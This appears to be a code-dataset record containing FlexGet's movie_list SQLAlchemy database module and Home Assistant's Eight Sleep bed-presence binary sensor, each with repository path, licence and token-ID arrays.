flexget/components/managed_lists/lists/movie_list/db.py
3
7317
from datetime import datetime from loguru import logger from sqlalchemy import Column, DateTime, ForeignKey, Integer, Unicode, func from sqlalchemy.orm import relationship from sqlalchemy.sql.elements import and_ from flexget import plugin from flexget.db_schema import versioned_base, with_session from flexget.entry import Entry try: # NOTE: Importing other plugins is discouraged! from flexget.components.parsing.parsers import parser_common as plugin_parser_common except ImportError: raise plugin.DependencyError(issued_by=__name__, missing='parser_common') logger = logger.bind(name='movie_list') Base = versioned_base('movie_list', 0) class MovieListBase: """ Class that contains helper methods for movie list as well as plugins that use it, such as API and CLI. """ @property def supported_ids(self): # Return a list of supported series identifier as registered via their plugins return [ p.instance.movie_identifier for p in plugin.get_plugins(interface='movie_metainfo') ] class MovieListList(Base): __tablename__ = 'movie_list_lists' id = Column(Integer, primary_key=True) name = Column(Unicode, unique=True) added = Column(DateTime, default=datetime.now) movies = relationship( 'MovieListMovie', backref='list', cascade='all, delete, delete-orphan', lazy='dynamic' ) def __repr__(self): return '<MovieListList,name={}id={}>'.format(self.name, self.id) def to_dict(self): return {'id': self.id, 'name': self.name, 'added_on': self.added} class MovieListMovie(Base): __tablename__ = 'movie_list_movies' id = Column(Integer, primary_key=True) added = Column(DateTime, default=datetime.now) title = Column(Unicode) year = Column(Integer) list_id = Column(Integer, ForeignKey(MovieListList.id), nullable=False) ids = relationship('MovieListID', backref='movie', cascade='all, delete, delete-orphan') def __repr__(self): return '<MovieListMovie title=%s,year=%s,list_id=%d>' % ( self.title, self.year, self.list_id, ) def to_entry(self, strip_year=False): entry = Entry() entry['title'] = entry['movie_name'] = self.title entry['url'] = 'mock://localhost/movie_list/%d' % self.id entry['added'] = self.added if self.year: if strip_year is False: entry['title'] += ' (%d)' % self.year entry['movie_year'] = self.year for movie_list_id in self.ids: entry[movie_list_id.id_name] = movie_list_id.id_value return entry def to_dict(self): return { 'id': self.id, 'added_on': self.added, 'title': self.title, 'year': self.year, 'list_id': self.list_id, 'movies_list_ids': [movie_list_id.to_dict() for movie_list_id in self.ids], } @property def identifiers(self): """ Return a dict of movie identifiers """ return {identifier.id_name: identifier.id_value for identifier in self.ids} class MovieListID(Base): __tablename__ = 'movie_list_ids' id = Column(Integer, primary_key=True) added = Column(DateTime, default=datetime.now) id_name = Column(Unicode) id_value = Column(Unicode) movie_id = Column(Integer, ForeignKey(MovieListMovie.id)) def __repr__(self): return '<MovieListID id_name=%s,id_value=%s,movie_id=%d>' % ( self.id_name, self.id_value, self.movie_id, ) def to_dict(self): return { 'id': self.id, 'added_on': self.added, 'id_name': self.id_name, 'id_value': self.id_value, 'movie_id': self.movie_id, } @with_session def get_movies_by_list_id( list_id, start=None, stop=None, order_by='added', descending=False, movie_ids=None, session=None, ): query = session.query(MovieListMovie).filter(MovieListMovie.list_id == list_id) if movie_ids: query = query.filter(MovieListMovie.id.in_(movie_ids)) if descending: query = query.order_by(getattr(MovieListMovie, order_by).desc()) else: query = query.order_by(getattr(MovieListMovie, order_by)) return query.slice(start, stop).all() @with_session def get_movie_lists(name=None, session=None): logger.debug('retrieving movie lists') query = session.query(MovieListList) if name: logger.debug('filtering by name {}', name) query = query.filter(MovieListList.name.contains(name)) return query.all() @with_session def get_list_by_exact_name(name, session=None): logger.debug('returning list with name {}', name) return ( session.query(MovieListList).filter(func.lower(MovieListList.name) == name.lower()).one() ) @with_session def get_list_by_id(list_id, session=None): logger.debug('fetching list with id {}', list_id) return session.query(MovieListList).filter(MovieListList.id == list_id).one() @with_session def get_movie_by_id(list_id, movie_id, session=None): logger.debug('fetching movie with id {} from list id {}', movie_id, list_id) return ( session.query(MovieListMovie) .filter(and_(MovieListMovie.id == movie_id, MovieListMovie.list_id == list_id)) .one() ) @with_session def get_movie_by_title_and_year(list_id, title, year=None, session=None): movie_list = get_list_by_id(list_id=list_id, session=session) if movie_list: logger.debug('searching for movie {} in list {}', title, list_id) return ( session.query(MovieListMovie) .filter( and_( func.lower(MovieListMovie.title) == title.lower(), MovieListMovie.year == year, MovieListMovie.list_id == list_id, ) ) .one_or_none() ) @with_session def get_movie_identifier(identifier_name, identifier_value, movie_id=None, session=None): db_movie_id = ( session.query(MovieListID) .filter( and_( MovieListID.id_name == identifier_name, MovieListID.id_value == identifier_value, MovieListID.movie_id == movie_id, ) ) .first() ) if db_movie_id: logger.debug('fetching movie identifier {}: {}', db_movie_id.id_name, db_movie_id.id_value) return db_movie_id @with_session def get_db_movie_identifiers(identifier_list, movie_id=None, session=None): db_movie_ids = [] for identifier in identifier_list: for key, value in identifier.items(): if key in MovieListBase().supported_ids: db_movie_id = get_movie_identifier( identifier_name=key, identifier_value=value, movie_id=movie_id, session=session ) if not db_movie_id: logger.debug('creating movie identifier {}: {}', key, value) db_movie_id = MovieListID(id_name=key, id_value=value, movie_id=movie_id) session.merge(db_movie_id) db_movie_ids.append(db_movie_id) return db_movie_ids
mit
[ 504, 2197, 492, 2197, 199, 199, 504, 943, 300, 85, 492, 2512, 199, 504, 8335, 492, 4996, 12, 13686, 12, 12718, 12, 7225, 12, 6140, 12, 2562, 199, 504, 8335, 14, 1025, 492, 8931, 199, 504, 8335, 14, 3009, 14, 5527, 492, 436, 63, 199, 199, 504, 20758, 362, 492, 3589, 199, 504, 20758, 362, 14, 697, 63, 3629, 492, 31792, 63, 1095, 12, 543, 63, 1730, 199, 504, 20758, 362, 14, 2373, 492, 11855, 199, 199, 893, 26, 272, 327, 6944, 26, 3161, 316, 1163, 8963, 365, 2153, 25715, 6028, 1, 272, 687, 20758, 362, 14, 4608, 14, 11059, 14, 11531, 492, 1798, 63, 2330, 465, 3589, 63, 2087, 63, 2330, 199, 2590, 3545, 26, 272, 746, 3589, 14, 14403, 547, 8, 5237, 68, 63, 991, 18971, 354, 3108, 4124, 534, 2087, 63, 2330, 358, 199, 199, 2921, 275, 2512, 14, 3409, 8, 354, 534, 10888, 63, 513, 358, 199, 1563, 275, 31792, 63, 1095, 360, 10888, 63, 513, 297, 378, 9, 421, 199, 533, 31248, 1296, 1563, 26, 272, 408, 272, 8089, 626, 3509, 5922, 3102, 367, 14360, 769, 465, 5521, 465, 8963, 626, 675, 652, 12, 272, 4066, 465, 3261, 436, 14214, 14, 272, 408, 339, 768, 1829, 272, 347, 3748, 63, 1580, 8, 277, 304, 267, 327, 1432, 282, 769, 402, 3748, 6779, 5148, 465, 7264, 4799, 3932, 8963, 267, 372, 359, 288, 299, 14, 842, 14, 10888, 63, 5364, 367, 299, 315, 3589, 14, 362, 63, 5265, 8, 3266, 534, 10888, 63, 2024, 815, 358, 267, 1622, 421, 199, 533, 31248, 1296, 1296, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 6717, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 536, 275, 4996, 8, 7087, 12, 3747, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 1303, 14484, 275, 8931, 8, 267, 283, 19088, 1296, 19088, 297, 23412, 534, 513, 297, 22809, 534, 452, 12, 3145, 12, 3145, 13, 22161, 297, 9617, 534, 7764, 7, 272, 776, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 1296, 12, 354, 7622, 344, 7622, 22936, 908, 8, 277, 14, 354, 12, 291, 14, 344, 9, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 791, 344, 356, 291, 14, 344, 12, 283, 354, 356, 291, 14, 354, 12, 283, 3270, 63, 265, 356, 291, 14, 3270, 93, 421, 199, 533, 31248, 1296, 19088, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 20888, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 2538, 275, 4996, 8, 7087, 9, 272, 5361, 275, 4996, 8, 2674, 9, 272, 769, 63, 344, 275, 4996, 8, 2674, 12, 12718, 8, 19088, 1296, 1296, 14, 344, 395, 7854, 29, 797, 9, 272, 2762, 275, 8931, 360, 19088, 1296, 998, 297, 23412, 534, 10888, 297, 22809, 534, 452, 12, 3145, 12, 3145, 13, 22161, 358, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 19088, 2538, 2458, 83, 12, 3403, 2458, 83, 12, 513, 63, 344, 2458, 68, 3524, 450, 334, 288, 291, 14, 1213, 12, 288, 291, 14, 3403, 12, 288, 291, 14, 513, 63, 344, 12, 267, 776, 339, 347, 370, 63, 2373, 8, 277, 12, 6202, 63, 3403, 29, 797, 304, 267, 2397, 275, 11855, 342, 267, 2397, 459, 1213, 418, 275, 2397, 459, 10888, 63, 354, 418, 275, 291, 14, 1213, 267, 2397, 459, 633, 418, 275, 283, 1805, 921, 5967, 15, 10888, 63, 513, 3149, 68, 7, 450, 291, 14, 344, 267, 2397, 459, 3270, 418, 275, 291, 14, 3270, 267, 340, 291, 14, 3403, 26, 288, 340, 6202, 63, 3403, 365, 756, 26, 355, 2397, 459, 1213, 418, 847, 283, 4366, 68, 3171, 450, 291, 14, 3403, 288, 2397, 459, 10888, 63, 3403, 418, 275, 291, 14, 3403, 267, 367, 14360, 63, 513, 63, 344, 315, 291, 14, 1580, 26, 288, 2397, 59, 10888, 63, 513, 63, 344, 14, 344, 63, 354, 61, 275, 14360, 63, 513, 63, 344, 14, 344, 63, 585, 267, 372, 2397, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 344, 356, 291, 14, 344, 12, 288, 283, 3270, 63, 265, 356, 291, 14, 3270, 12, 288, 283, 1213, 356, 291, 14, 1213, 12, 288, 283, 3403, 356, 291, 14, 3403, 12, 288, 283, 513, 63, 344, 356, 291, 14, 513, 63, 344, 12, 288, 283, 20888, 63, 513, 63, 1580, 356, 359, 10888, 63, 513, 63, 344, 14, 475, 63, 807, 342, 367, 14360, 63, 513, 63, 344, 315, 291, 14, 1580, 467, 267, 789, 339, 768, 1829, 272, 347, 14154, 8, 277, 304, 267, 408, 1432, 282, 1211, 402, 14360, 14154, 408, 267, 372, 469, 5364, 14, 344, 63, 354, 26, 5148, 14, 344, 63, 585, 367, 5148, 315, 291, 14, 1580, 93, 421, 199, 533, 31248, 1296, 998, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 1580, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 1305, 63, 354, 275, 4996, 8, 7087, 9, 272, 1305, 63, 585, 275, 4996, 8, 7087, 9, 272, 14360, 63, 344, 275, 4996, 8, 2674, 12, 12718, 8, 19088, 1296, 19088, 14, 344, 430, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 998, 1305, 63, 354, 2458, 83, 12, 344, 63, 585, 2458, 83, 12, 10888, 63, 344, 2458, 68, 3524, 450, 334, 288, 291, 14, 344, 63, 354, 12, 288, 291, 14, 344, 63, 585, 12, 288, 291, 14, 10888, 63, 344, 12, 267, 776, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 344, 356, 291, 14, 344, 12, 288, 283, 3270, 63, 265, 356, 291, 14, 3270, 12, 288, 283, 344, 63, 354, 356, 291, 14, 344, 63, 354, 12, 288, 283, 344, 63, 585, 356, 291, 14, 344, 63, 585, 12, 288, 283, 10888, 63, 344, 356 ]
[ 2197, 492, 2197, 199, 199, 504, 943, 300, 85, 492, 2512, 199, 504, 8335, 492, 4996, 12, 13686, 12, 12718, 12, 7225, 12, 6140, 12, 2562, 199, 504, 8335, 14, 1025, 492, 8931, 199, 504, 8335, 14, 3009, 14, 5527, 492, 436, 63, 199, 199, 504, 20758, 362, 492, 3589, 199, 504, 20758, 362, 14, 697, 63, 3629, 492, 31792, 63, 1095, 12, 543, 63, 1730, 199, 504, 20758, 362, 14, 2373, 492, 11855, 199, 199, 893, 26, 272, 327, 6944, 26, 3161, 316, 1163, 8963, 365, 2153, 25715, 6028, 1, 272, 687, 20758, 362, 14, 4608, 14, 11059, 14, 11531, 492, 1798, 63, 2330, 465, 3589, 63, 2087, 63, 2330, 199, 2590, 3545, 26, 272, 746, 3589, 14, 14403, 547, 8, 5237, 68, 63, 991, 18971, 354, 3108, 4124, 534, 2087, 63, 2330, 358, 199, 199, 2921, 275, 2512, 14, 3409, 8, 354, 534, 10888, 63, 513, 358, 199, 1563, 275, 31792, 63, 1095, 360, 10888, 63, 513, 297, 378, 9, 421, 199, 533, 31248, 1296, 1563, 26, 272, 408, 272, 8089, 626, 3509, 5922, 3102, 367, 14360, 769, 465, 5521, 465, 8963, 626, 675, 652, 12, 272, 4066, 465, 3261, 436, 14214, 14, 272, 408, 339, 768, 1829, 272, 347, 3748, 63, 1580, 8, 277, 304, 267, 327, 1432, 282, 769, 402, 3748, 6779, 5148, 465, 7264, 4799, 3932, 8963, 267, 372, 359, 288, 299, 14, 842, 14, 10888, 63, 5364, 367, 299, 315, 3589, 14, 362, 63, 5265, 8, 3266, 534, 10888, 63, 2024, 815, 358, 267, 1622, 421, 199, 533, 31248, 1296, 1296, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 6717, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 536, 275, 4996, 8, 7087, 12, 3747, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 1303, 14484, 275, 8931, 8, 267, 283, 19088, 1296, 19088, 297, 23412, 534, 513, 297, 22809, 534, 452, 12, 3145, 12, 3145, 13, 22161, 297, 9617, 534, 7764, 7, 272, 776, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 1296, 12, 354, 7622, 344, 7622, 22936, 908, 8, 277, 14, 354, 12, 291, 14, 344, 9, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 791, 344, 356, 291, 14, 344, 12, 283, 354, 356, 291, 14, 354, 12, 283, 3270, 63, 265, 356, 291, 14, 3270, 93, 421, 199, 533, 31248, 1296, 19088, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 20888, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 2538, 275, 4996, 8, 7087, 9, 272, 5361, 275, 4996, 8, 2674, 9, 272, 769, 63, 344, 275, 4996, 8, 2674, 12, 12718, 8, 19088, 1296, 1296, 14, 344, 395, 7854, 29, 797, 9, 272, 2762, 275, 8931, 360, 19088, 1296, 998, 297, 23412, 534, 10888, 297, 22809, 534, 452, 12, 3145, 12, 3145, 13, 22161, 358, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 19088, 2538, 2458, 83, 12, 3403, 2458, 83, 12, 513, 63, 344, 2458, 68, 3524, 450, 334, 288, 291, 14, 1213, 12, 288, 291, 14, 3403, 12, 288, 291, 14, 513, 63, 344, 12, 267, 776, 339, 347, 370, 63, 2373, 8, 277, 12, 6202, 63, 3403, 29, 797, 304, 267, 2397, 275, 11855, 342, 267, 2397, 459, 1213, 418, 275, 2397, 459, 10888, 63, 354, 418, 275, 291, 14, 1213, 267, 2397, 459, 633, 418, 275, 283, 1805, 921, 5967, 15, 10888, 63, 513, 3149, 68, 7, 450, 291, 14, 344, 267, 2397, 459, 3270, 418, 275, 291, 14, 3270, 267, 340, 291, 14, 3403, 26, 288, 340, 6202, 63, 3403, 365, 756, 26, 355, 2397, 459, 1213, 418, 847, 283, 4366, 68, 3171, 450, 291, 14, 3403, 288, 2397, 459, 10888, 63, 3403, 418, 275, 291, 14, 3403, 267, 367, 14360, 63, 513, 63, 344, 315, 291, 14, 1580, 26, 288, 2397, 59, 10888, 63, 513, 63, 344, 14, 344, 63, 354, 61, 275, 14360, 63, 513, 63, 344, 14, 344, 63, 585, 267, 372, 2397, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 344, 356, 291, 14, 344, 12, 288, 283, 3270, 63, 265, 356, 291, 14, 3270, 12, 288, 283, 1213, 356, 291, 14, 1213, 12, 288, 283, 3403, 356, 291, 14, 3403, 12, 288, 283, 513, 63, 344, 356, 291, 14, 513, 63, 344, 12, 288, 283, 20888, 63, 513, 63, 1580, 356, 359, 10888, 63, 513, 63, 344, 14, 475, 63, 807, 342, 367, 14360, 63, 513, 63, 344, 315, 291, 14, 1580, 467, 267, 789, 339, 768, 1829, 272, 347, 14154, 8, 277, 304, 267, 408, 1432, 282, 1211, 402, 14360, 14154, 408, 267, 372, 469, 5364, 14, 344, 63, 354, 26, 5148, 14, 344, 63, 585, 367, 5148, 315, 291, 14, 1580, 93, 421, 199, 533, 31248, 1296, 998, 8, 1563, 304, 272, 636, 10983, 363, 275, 283, 10888, 63, 513, 63, 1580, 7, 272, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 3483, 275, 4996, 8, 3926, 12, 849, 29, 2083, 14, 2131, 9, 272, 1305, 63, 354, 275, 4996, 8, 7087, 9, 272, 1305, 63, 585, 275, 4996, 8, 7087, 9, 272, 14360, 63, 344, 275, 4996, 8, 2674, 12, 12718, 8, 19088, 1296, 19088, 14, 344, 430, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 19088, 1296, 998, 1305, 63, 354, 2458, 83, 12, 344, 63, 585, 2458, 83, 12, 10888, 63, 344, 2458, 68, 3524, 450, 334, 288, 291, 14, 344, 63, 354, 12, 288, 291, 14, 344, 63, 585, 12, 288, 291, 14, 10888, 63, 344, 12, 267, 776, 339, 347, 370, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 344, 356, 291, 14, 344, 12, 288, 283, 3270, 63, 265, 356, 291, 14, 3270, 12, 288, 283, 344, 63, 354, 356, 291, 14, 344, 63, 354, 12, 288, 283, 344, 63, 585, 356, 291, 14, 344, 63, 585, 12, 288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, 1, 1, 1, 1, 1, 1, 1, 1 ]
jamespcole/home-assistant
homeassistant/components/eight_sleep/binary_sensor.py
1
1832
"""Support for Eight Sleep binary sensors.""" import logging from homeassistant.components.binary_sensor import BinarySensorDevice from . import CONF_BINARY_SENSORS, DATA_EIGHT, NAME_MAP, EightSleepHeatEntity _LOGGER = logging.getLogger(__name__) DEPENDENCIES = ['eight_sleep'] async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): """Set up the eight sleep binary sensor.""" if discovery_info is None: return name = 'Eight' sensors = discovery_info[CONF_BINARY_SENSORS] eight = hass.data[DATA_EIGHT] all_sensors = [] for sensor in sensors: all_sensors.append(EightHeatSensor(name, eight, sensor)) async_add_entities(all_sensors, True) class EightHeatSensor(EightSleepHeatEntity, BinarySensorDevice): """Representation of a Eight Sleep heat-based sensor.""" def __init__(self, name, eight, sensor): """Initialize the sensor.""" super().__init__(eight) self._sensor = sensor self._mapped_name = NAME_MAP.get(self._sensor, self._sensor) self._name = '{} {}'.format(name, self._mapped_name) self._state = None self._side = self._sensor.split('_')[0] self._userid = self._eight.fetch_userid(self._side) self._usrobj = self._eight.users[self._userid] _LOGGER.debug("Presence Sensor: %s, Side: %s, User: %s", self._sensor, self._side, self._userid) @property def name(self): """Return the name of the sensor, if any.""" return self._name @property def is_on(self): """Return true if the binary sensor is on.""" return self._state async def async_update(self): """Retrieve latest state.""" self._state = self._usrobj.bed_presence
apache-2.0
[ 624, 11532, 367, 662, 1070, 428, 3614, 3366, 19678, 1041, 199, 646, 2050, 199, 199, 504, 8846, 14, 4608, 14, 3008, 63, 8956, 492, 14161, 10160, 2510, 199, 199, 504, 1275, 492, 6392, 63, 13246, 63, 51, 8456, 4149, 12, 7126, 63, 37, 2830, 12, 13637, 63, 5443, 12, 662, 1070, 17306, 30770, 7302, 199, 199, 63, 10186, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 25743, 9415, 2563, 275, 788, 32579, 63, 4532, 418, 421, 199, 4146, 347, 5316, 63, 2758, 63, 3246, 8, 5387, 12, 1101, 12, 5316, 63, 525, 63, 8327, 12, 3044, 13172, 63, 815, 29, 403, 304, 272, 408, 1084, 1536, 314, 325, 1070, 9435, 3366, 8778, 1041, 272, 340, 13172, 63, 815, 365, 488, 26, 267, 372, 339, 536, 275, 283, 37, 1070, 7, 272, 19678, 275, 13172, 63, 815, 59, 3103, 63, 13246, 63, 51, 8456, 4149, 61, 272, 325, 1070, 275, 6298, 14, 576, 59, 3998, 63, 37, 2830, 61, 339, 1006, 63, 22675, 275, 942, 339, 367, 8778, 315, 19678, 26, 267, 1006, 63, 22675, 14, 740, 8, 37, 1070, 30770, 10160, 8, 354, 12, 325, 1070, 12, 8778, 430, 339, 5316, 63, 525, 63, 8327, 8, 452, 63, 22675, 12, 715, 9, 421, 199, 533, 662, 1070, 30770, 10160, 8, 37, 1070, 17306, 30770, 7302, 12, 14161, 10160, 2510, 304, 272, 408, 20609, 402, 282, 662, 1070, 428, 3614, 20408, 13, 6788, 8778, 1041, 339, 347, 636, 826, 721, 277, 12, 536, 12, 325, 1070, 12, 8778, 304, 267, 408, 9345, 314, 8778, 1041, 267, 1613, 11027, 826, 721, 32579, 9, 398, 291, 423, 8956, 275, 8778, 267, 291, 423, 11663, 63, 354, 275, 13637, 63, 5443, 14, 362, 8, 277, 423, 8956, 12, 291, 423, 8956, 9, 267, 291, 423, 354, 275, 9005, 9499, 908, 8, 354, 12, 291, 423, 11663, 63, 354, 9, 267, 291, 423, 929, 275, 488, 398, 291, 423, 2441, 275, 291, 423, 8956, 14, 1294, 6412, 5832, 16, 61, 267, 291, 423, 19737, 275, 291, 423, 32579, 14, 3535, 63, 19737, 8, 277, 423, 2441, 9, 267, 291, 423, 527, 25327, 275, 291, 423, 32579, 14, 3707, 59, 277, 423, 19737, 61, 398, 485, 10186, 14, 1757, 480, 2398, 14073, 18474, 26, 450, 83, 12, 428, 2655, 26, 450, 83, 12, 2876, 26, 450, 83, 401, 1993, 291, 423, 8956, 12, 291, 423, 2441, 12, 291, 423, 19737, 9, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 1767, 314, 536, 402, 314, 8778, 12, 340, 1263, 1041, 267, 372, 291, 423, 354, 339, 768, 1829, 272, 347, 365, 63, 265, 8, 277, 304, 267, 408, 1767, 2549, 340, 314, 3366, 8778, 365, 641, 1041, 267, 372, 291, 423, 929, 339, 5316, 347, 5316, 63, 873, 8, 277, 304, 267, 408, 15310, 8839, 1174, 1041, 267, 291, 423, 929, 275, 291, 423, 527, 25327, 14, 6123, 63, 21566, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11532, 367, 662, 1070, 428, 3614, 3366, 19678, 1041, 199, 646, 2050, 199, 199, 504, 8846, 14, 4608, 14, 3008, 63, 8956, 492, 14161, 10160, 2510, 199, 199, 504, 1275, 492, 6392, 63, 13246, 63, 51, 8456, 4149, 12, 7126, 63, 37, 2830, 12, 13637, 63, 5443, 12, 662, 1070, 17306, 30770, 7302, 199, 199, 63, 10186, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 25743, 9415, 2563, 275, 788, 32579, 63, 4532, 418, 421, 199, 4146, 347, 5316, 63, 2758, 63, 3246, 8, 5387, 12, 1101, 12, 5316, 63, 525, 63, 8327, 12, 3044, 13172, 63, 815, 29, 403, 304, 272, 408, 1084, 1536, 314, 325, 1070, 9435, 3366, 8778, 1041, 272, 340, 13172, 63, 815, 365, 488, 26, 267, 372, 339, 536, 275, 283, 37, 1070, 7, 272, 19678, 275, 13172, 63, 815, 59, 3103, 63, 13246, 63, 51, 8456, 4149, 61, 272, 325, 1070, 275, 6298, 14, 576, 59, 3998, 63, 37, 2830, 61, 339, 1006, 63, 22675, 275, 942, 339, 367, 8778, 315, 19678, 26, 267, 1006, 63, 22675, 14, 740, 8, 37, 1070, 30770, 10160, 8, 354, 12, 325, 1070, 12, 8778, 430, 339, 5316, 63, 525, 63, 8327, 8, 452, 63, 22675, 12, 715, 9, 421, 199, 533, 662, 1070, 30770, 10160, 8, 37, 1070, 17306, 30770, 7302, 12, 14161, 10160, 2510, 304, 272, 408, 20609, 402, 282, 662, 1070, 428, 3614, 20408, 13, 6788, 8778, 1041, 339, 347, 636, 826, 721, 277, 12, 536, 12, 325, 1070, 12, 8778, 304, 267, 408, 9345, 314, 8778, 1041, 267, 1613, 11027, 826, 721, 32579, 9, 398, 291, 423, 8956, 275, 8778, 267, 291, 423, 11663, 63, 354, 275, 13637, 63, 5443, 14, 362, 8, 277, 423, 8956, 12, 291, 423, 8956, 9, 267, 291, 423, 354, 275, 9005, 9499, 908, 8, 354, 12, 291, 423, 11663, 63, 354, 9, 267, 291, 423, 929, 275, 488, 398, 291, 423, 2441, 275, 291, 423, 8956, 14, 1294, 6412, 5832, 16, 61, 267, 291, 423, 19737, 275, 291, 423, 32579, 14, 3535, 63, 19737, 8, 277, 423, 2441, 9, 267, 291, 423, 527, 25327, 275, 291, 423, 32579, 14, 3707, 59, 277, 423, 19737, 61, 398, 485, 10186, 14, 1757, 480, 2398, 14073, 18474, 26, 450, 83, 12, 428, 2655, 26, 450, 83, 12, 2876, 26, 450, 83, 401, 1993, 291, 423, 8956, 12, 291, 423, 